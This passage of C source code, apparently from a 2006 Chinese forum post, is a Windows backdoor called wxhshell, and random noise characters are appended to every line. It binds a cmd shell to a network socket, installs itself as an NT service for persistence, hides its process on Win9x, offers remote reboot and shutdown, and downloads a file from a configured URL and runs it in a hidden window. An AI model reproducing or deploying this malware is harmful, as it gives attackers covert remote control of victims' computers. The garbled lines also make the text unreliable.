%]\IC(q  
    switch(cmd[0]) { ]R%+  
  n/vKxtW  
  // 帮助 3?Tk[m1b  
  case '?': { sF!nSr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j3_vh<U\  
    break; /5&' U!:+  
  } n~C!PXE  
  // 安装 01&J7A2  
  case 'i': { D)){"Q!b  
    if(Install()) 0hoi=W6AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72akOx   
    else W"&Y7("y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R A^-Pa.O  
    break; g|V md  
    } M9dOLM.  
  // 卸载 c_dg/ !Iu  
  case 'r': { %D $+Z(  
    if(Uninstall()) P8\bi"iiN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #z&@f  
    else ['#3GJz-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P(Wr[lH\y  
    break; "4[8pZO/  
    } 0fP-[7P  
  // 显示 wxhshell 所在路径 PZE{- TM?W  
  case 'p': { _=ziw|zI  
    char svExeFile[MAX_PATH]; Di>B:=  
    strcpy(svExeFile,"\n\r"); KXvBJA$  
      strcat(svExeFile,ExeFile); ZgH(,g,TU  
        send(wsh,svExeFile,strlen(svExeFile),0); ~uRL+<.c  
    break; }n[<$*W^  
    } C)v*L#{%  
  // 重启 ML-?#jNa<  
  case 'b': { } Rs@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +u|p<z  
    if(Boot(REBOOT)) hsEQ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o{I]c#W  
    else { VyWPg7}e  
    closesocket(wsh); VY]L<4BfGL  
    ExitThread(0); wr{ [4$O  
    } %9Y3jB",2  
    break; ed:[^#Lj  
    } \\{+t<?J  
  // 关机 W v4o:_}  
  case 'd': { j8 |N;;MN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B>Xfs ZS  
    if(Boot(SHUTDOWN)) ?@LqrKj 11  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=D|jt  
    else { 1SO!a R#g  
    closesocket(wsh); |z%:{  
    ExitThread(0); @kmOz(  
    } 3rh@|fg)E  
    break; "CcdwWM  
    } y3{ F\K  
  // 获取shell N_^s;Qj  
  case 's': { N`1W"Rx!  
    CmdShell(wsh); :,[=g$CT:  
    closesocket(wsh); MeMSF8zSQ  
    ExitThread(0); '#Pg:v_  
    break; 'j27.Ry.  
  } L^><APlX  
  // 退出 _&xi})E^O]  
  case 'x': { 6X`i*T$.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |jT^[q(z  
    CloseIt(wsh); G>f2E49BXt  
    break; [ :*Jn}  
    } Ap)[;_9BD  
  // 离开 9Impp5`/B  
  case 'q': { BfOQ/k))  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k?7V#QW(  
    closesocket(wsh); RW I7eC  
    WSACleanup(); s.qo/o\b  
    exit(1); U?.cbB,  
    break; yNU.<d 5  
        } }XcYIo#+t  
  } ?CU6RC n  
  } ExKjH*gn  
"`q:  
  // 提示信息 vA"MTncv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %!X9>i>  
} &Ay[mZQ 7  
  } 7uq/C#N  
lo< t5~GQ  
  return; m(DJ6CSa  
}  TG^?J`  
m]Gxep0%  
// shell模块句柄 1~aP)q  
int CmdShell(SOCKET sock) L5j%4BlK/  
{ 734f &2  
STARTUPINFO si; vOQ 3A%/  
ZeroMemory(&si,sizeof(si));  oo4aw1d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %<]4]h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qSA]61U&  
PROCESS_INFORMATION ProcessInfo; (<KFA,  
char cmdline[]="cmd"; ,$A'Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dYxX%"J  
  return 0; kH'zTO1  
} "&Rt&S  
>h3m/aeNC  
// 自身启动模式 V]Z!x.x"=y  
int StartFromService(void) :tf'Gw6v  
{ fPBJ%SZ  
typedef struct  ,7h0y  
{ HE|XDcYO  
  DWORD ExitStatus; ;k |U2ajFJ  
  DWORD PebBaseAddress; Y!qn[,q8  
  DWORD AffinityMask; aM7=>  
  DWORD BasePriority; Mj<T+Ohz  
  ULONG UniqueProcessId; N}gPf i  
  ULONG InheritedFromUniqueProcessId; vN9R. R  
}   PROCESS_BASIC_INFORMATION; i@m@]-2  
N3(.7mxo  
PROCNTQSIP NtQueryInformationProcess; WRov7  
lx\9Y8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L+.&e4f'oj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %EH{p@nM&-  
L6x;<gj  
  HANDLE             hProcess; |}><)}  
  PROCESS_BASIC_INFORMATION pbi; zI,z<-  
0PD=/fh[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'W*:9wah  
  if(NULL == hInst ) return 0; (L<q Jd1Q  
_J"fgxW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z_8lf_N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ("KtJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aqEmF  
$a'}7Q_  
  if (!NtQueryInformationProcess) return 0; {n\Ai3F-  
Marx=cNj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,GF]+nI89  
  if(!hProcess) return 0; Vbv)C3ezD  
ryNe=9p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4<V}A j8l  
T5Iz{Ha  
  CloseHandle(hProcess); \q@Co42n\  
ezb*tN!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AO238RC!:  
if(hProcess==NULL) return 0; G=/^]E  
|Iknk,  
HMODULE hMod; ;pj,U!{%s\  
char procName[255]; :s*t\09V7  
unsigned long cbNeeded; hdeI/4 B  
{T-=&%||  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fjCFJ_  
H<3:1*E  
  CloseHandle(hProcess); iPdS>e e  
jO-T1P']Y  
if(strstr(procName,"services")) return 1; // 以服务启动 C8W_f( i~  
bFhZSk )  
  return 0; // 注册表启动 2@W`OW Njm  
} ;nrkC\SYh:  
NL,6<ZOon,  
// 主模块 T+q5~~\d  
int StartWxhshell(LPSTR lpCmdLine) + }$(j#h  
{ uFA}w:Fm  
  SOCKET wsl;  W_6gV  
BOOL val=TRUE; M@JW/~p'  
  int port=0; *{,}pK2*  
  struct sockaddr_in door; *R}p9;dpO  
a6@k*9D>  
  if(wscfg.ws_autoins) Install(); d3\KUR^  
2}XxRJ0   
port=atoi(lpCmdLine); 4 |bu= T  
$4*gi&  
if(port<=0) port=wscfg.ws_port; Yxy!&hPLv:  
1]9l SE!E7  
  WSADATA data; hXvC>ie(i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gF`hlYD  
T(,@]=d,DD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '14 86q@[$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kZhd^H.  
  door.sin_family = AF_INET; %g^:0me`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FY-eoq0O3  
  door.sin_port = htons(port); 1;PI%++  
EEMRy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { );h  
closesocket(wsl); 7nB X@Uo  
return 1; R#i`H(N  
} byTH SRt  
f$5\ b[O  
  if(listen(wsl,2) == INVALID_SOCKET) { &-w.rF@  
closesocket(wsl); )c?nh3D  
return 1; x0%yz+i{:  
} @iMF&\KC  
  Wxhshell(wsl); GvvKM=1  
  WSACleanup(); =Ot_P7'5gv  
Bz|/TV?X(  
return 0; >vR2K^  
=p7id5"  
} g[HuIn/  
lon9oraF'  
// 以NT服务方式启动 u?rX:KkS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p$ETAvD  
{  -PU.Uw]  
DWORD   status = 0; ur7S K(#  
  DWORD   specificError = 0xfffffff; +G\i$d;St  
l_8ibLyo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aL&9.L|1 g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \KS.A 4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *=!r|UdB.  
  serviceStatus.dwWin32ExitCode     = 0; mxu!$wx  
  serviceStatus.dwServiceSpecificExitCode = 0; keG\-f  
  serviceStatus.dwCheckPoint       = 0; d{7)_Sbky  
  serviceStatus.dwWaitHint       = 0; | +uc;[`  
B9Wd '  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~;YkR'q0_  
  if (hServiceStatusHandle==0) return; FD~ U F;VQ  
rZ)7(0BBs  
status = GetLastError(); `Q/\w1-Q  
  if (status!=NO_ERROR) 3xKgj5M  
{ P2 qC[1hYH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 86!$<!I  
    serviceStatus.dwCheckPoint       = 0; 8J- ?bo  
    serviceStatus.dwWaitHint       = 0; 9'e<{mlM  
    serviceStatus.dwWin32ExitCode     = status; &}|`h8JA]K  
    serviceStatus.dwServiceSpecificExitCode = specificError; #/8 Na v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g:!R't?  
    return; :7JP(j2  
  } ,7DyTeMpN  
WS?Y8~+{5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8<32(D{  
  serviceStatus.dwCheckPoint       = 0; R~|(]#com  
  serviceStatus.dwWaitHint       = 0;  c,M"a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "`%UC#  
} Iz;^D!  
Kb-m  
// 处理NT服务事件,比如:启动、停止 {*r!oD!'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {x[C\vZsi]  
{ MZh?MaBz06  
switch(fdwControl) 57]La^#  
{ O*B9 Bah  
case SERVICE_CONTROL_STOP: ,^ dpn  
  serviceStatus.dwWin32ExitCode = 0; Z!jJ93A"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ='C;^ Bk  
  serviceStatus.dwCheckPoint   = 0; ;B(16&l=q  
  serviceStatus.dwWaitHint     = 0; >IA1 \?(  
  { -mo4`F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =NnG[#n%  
  } 4cJ/XgX  
  return; (v:8p!QN  
case SERVICE_CONTROL_PAUSE: a1[J>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jw^my4  
  break; '"ze Im~  
case SERVICE_CONTROL_CONTINUE: {i3=N{5b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lH@goh  
  break; D~`RLPMk  
case SERVICE_CONTROL_INTERROGATE: x")Bmw$  
  break; ; TwqZw[.  
}; HqV4!o9'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qv;b$by3  
} </SO#g^r<  
jIHY[yDT  
// 标准应用程序主函数 N+H[Y4c?F&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X &G]ci  
{ ]gF=I5jn]  
}jFRuT;35  
// 获取操作系统版本 0 N0< 4b  
OsIsNt=GetOsVer(); BGOS(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V>UlL&V  
|<y1<O>F  
  // 从命令行安装 5Fq+^  
  if(strpbrk(lpCmdLine,"iI")) Install(); s.KfMJ"u[  
c|(Q[=   
  // 下载执行文件 M9(lxu y1  
if(wscfg.ws_downexe) { U^DR'X=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M-F{I%Vx  
  WinExec(wscfg.ws_filenam,SW_HIDE); U_E t  
} AP4s_X+=  
nvc(<Ovw  
if(!OsIsNt) { { Q!Xxe>6  
// 如果时win9x,隐藏进程并且设置为注册表启动 %N\8!aXnf  
HideProc(); 9\kEyb$F=  
StartWxhshell(lpCmdLine); 2n#H%&^?a  
} uBC#4cX`D*  
else rg]z  
  if(StartFromService()) e"p){)*$  
  // 以服务方式启动 ?[DVYP  
  StartServiceCtrlDispatcher(DispatchTable); V{\1qg{  
else cA| n*A-j<  
  // 普通方式启动 e<~bDFH  
  StartWxhshell(lpCmdLine); u%OLXb  
)]\-Uy$x  
return 0; zU4*FXt  
}
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只看该作者 1 发表于: 2006-10-10
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